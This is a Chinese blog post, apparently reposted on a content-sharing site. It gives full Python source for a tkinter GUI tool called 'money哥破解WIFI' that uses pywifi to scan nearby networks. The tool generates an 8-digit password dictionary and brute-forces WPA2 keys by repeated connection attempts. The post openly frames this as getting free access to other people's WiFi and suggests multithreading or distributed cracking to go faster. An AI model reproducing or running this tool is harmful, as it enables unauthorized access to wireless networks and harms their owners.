打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
用Python实现WiFi自由
userphoto

2024.01.20 湖北

关注

WiFi对我们来说越来越重要了,去到一个陌生的地方,怎么能让电脑快速连上WiFi呢?今天我们就用最原始的方法,写一个带界面的WiFi破解工具,暴力破解附近的WiFi。

暴力破解的思想就是使用枚举法,把所有密码枚举出来,然后写到一个密码库文件,然后我们启动破解的时候,让电脑读取密码库文件逐一尝试连接,直到连接成功。

我们先上一下软件界面

实现过程:

1.导库

from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.messagebox # 打开tkiner的消息提醒框import itertoolsimport os

2.1 定义WiFi界面类,设置初始化和界面排版

class Wifi_GUI():    def __init__(self, init_window_name):        self.init_window_name = init_window_name        # 密码文件路径        self.get_value = StringVar()  # 设置可变内容        # 获取破解wifi账号        self.get_wifi_value = StringVar()        # 获取wifi密码        self.get_wifimm_value = StringVar()        # 抓取网卡接口        self.wifi = pywifi.PyWiFi()        # 抓取第一个无线网卡        self.iface = self.wifi.interfaces()[0]        # 测试链接断开所有链接        self.iface.disconnect()        time.sleep(1)  # 休眠1秒        # 测试网卡是否属于断开状态        assert self.iface.status() in \               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def __str__(self): # 自动会调用的函数,返回自身的网卡 return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

# 设置窗口 def set_init_window(self): self.init_window_name.title('money哥破解WIFI') self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=300, text='配置') # 框架,以下对象都是对于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = Button(labelframe, text='搜索可用WiFi', command=self.scans_wifi_list).grid(column=0, row=0) self.pojie = Button(labelframe, text='开始破解', command=self.readPassWord).grid(column=1, row=0) self.label = Label(labelframe, text='密码库文件路径:').grid(column=0, row=1) self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) self.file = Button(labelframe, text='生成密码库文件', command=self.creat_pwd).grid(column=2, row=1) self.wifi_text = Label(labelframe, text='WiFi名称:').grid(column=0, row=2) self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) self.wifi_mm_text = Label(labelframe, text='WiFi密码:').grid(column=2, row=2) self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W) self.wifi_labelframe = LabelFrame(text='可用wifi列表') self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW) # 定义树形结构与滚动条 self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show='headings', columns=('a', 'b', 'c', 'd')) self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的标题 self.wifi_tree.column('a', width=50, anchor='center') self.wifi_tree.column('b', width=100, anchor='center') self.wifi_tree.column('c', width=100, anchor='center') self.wifi_tree.column('d', width=100, anchor='center') self.wifi_tree.heading('a', text='WiFiID') self.wifi_tree.heading('b', text='SSID') self.wifi_tree.heading('c', text='BSSID') self.wifi_tree.heading('d', text='signal') self.wifi_tree.grid(row=4, column=0, sticky=NSEW) self.wifi_tree.bind('<Double-1>', self.onDBClick) self.vbar.grid(row=4, column=1, sticky=NS) self.get_value.set(os.getcwd().replace('\\', '/')+'/password.txt')

2.2 在Wifi_GUI类中定义启动扫描WiFi函数

# 搜索wifi def scans_wifi_list(self): # 扫描周围wifi列表 # 开始扫描 print('@@@启动扫描可用wifi...') self.iface.scan() time.sleep(15) # 在若干秒后获取扫描结果 scanres = self.iface.scan_results() # 统计附近被发现的热点数量 nums = len(scanres) print('数量: %s' % (nums)) # 实际数据 self.show_scans_wifi_list(scanres) return scanres

2.3 在Wifi_GUI类中定义显示WiFi列表函数

 # 显示wifi列表    def show_scans_wifi_list(self, scans_res):        for index, wifi_info in enumerate(scans_res):            self.wifi_tree.insert('', 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

2.4 在Wifi_GUI类中定义生成密码库文件函数

def creat_pwd(self): key = '0123456789'# 密码包含这些字符//.qwertyuiopasdfghjklzxcvbnm passwords = itertools.product(key, repeat=8) f = open('password.txt', 'a') for i in passwords: f.write(''.join(i)) f.write('\n') f.close() self.get_value.set(os.getcwd().replace('\\', '/') + '/password.txt')

2.5在Wifi_GUI类中定义树形列表绑定事件

# Treeview绑定事件    def onDBClick(self, event):        self.sels = event.widget.selection()        self.get_wifi_value.set(self.wifi_tree.item(self.sels, 'values')[1])

2.6在Wifi_GUI类中定义读取密码匹配函数

# 读取密码字典,进行匹配 def readPassWord(self): self.getFilePath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getFilePath, 'r', errors='ignore') while True: try: self.pwdStr = pwdfilehander.readline() if not self.pwdStr: break self.bool1 = self.connect(self.pwdStr, self.get_wifissid) if self.bool1: self.res = '密码正确!wifi名:%s,匹配密码:%s ' % (self.get_wifissid, self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功!!!') print(self.res) break else:                    self.res = '密码错误!wifi名:%s,匹配密码:%s' % (self.get_wifissid, self.pwdStr) print(self.res) time.sleep(3) except: continue

2.7在Wifi_GUI类中定义尝试密码连接WiFi函数

    def connect(self, pwd_Str, wifi_ssid):        # 创建wifi链接文件        self.profile = pywifi.Profile()        self.profile.ssid = wifi_ssid  # wifi名称        self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元        self.profile.key = pwd_Str  # 密码        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件        self.iface.connect(self.tmp_profile)  # 链接        time.sleep(5)        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上            isOK = True        else:            isOK = False        self.iface.disconnect()  # 断开        time.sleep(1)        # 检查断开状态        assert self.iface.status() in \               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]        return isOK

3.在主函数入口初始化WiFi界面类实例,并启动界面。

if __name__ == '__main__': init_window = Tk() ui = Wifi_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop()
运行界面
运行视频:

案例中我们提供了暴力破解的思路,但是也有一些小问题,比如暴力的次数太多,等待时间会非常长,密码库我也只生成0-9和.的序列,没包含字母和其他特殊字符。假如想破解时间缩短,可以考虑使用多线程和分布式。大家可以试一下。

分享不易,扫码关注、点赞、点在看,支持一下吧

谢谢!

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
Python Tkinter Gui 常用组件介绍 基本使用,含源代码
python超详细实现完整学生成绩管理系统
牛逼!用Python为她设计专属签名软件!
Python进阶:一个串口通信工具(tkinter pyserial openpyxl)
Python学习笔记(三)tkinter常见问题总结
8.1 系统化学习 tkinter 之布局篇
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服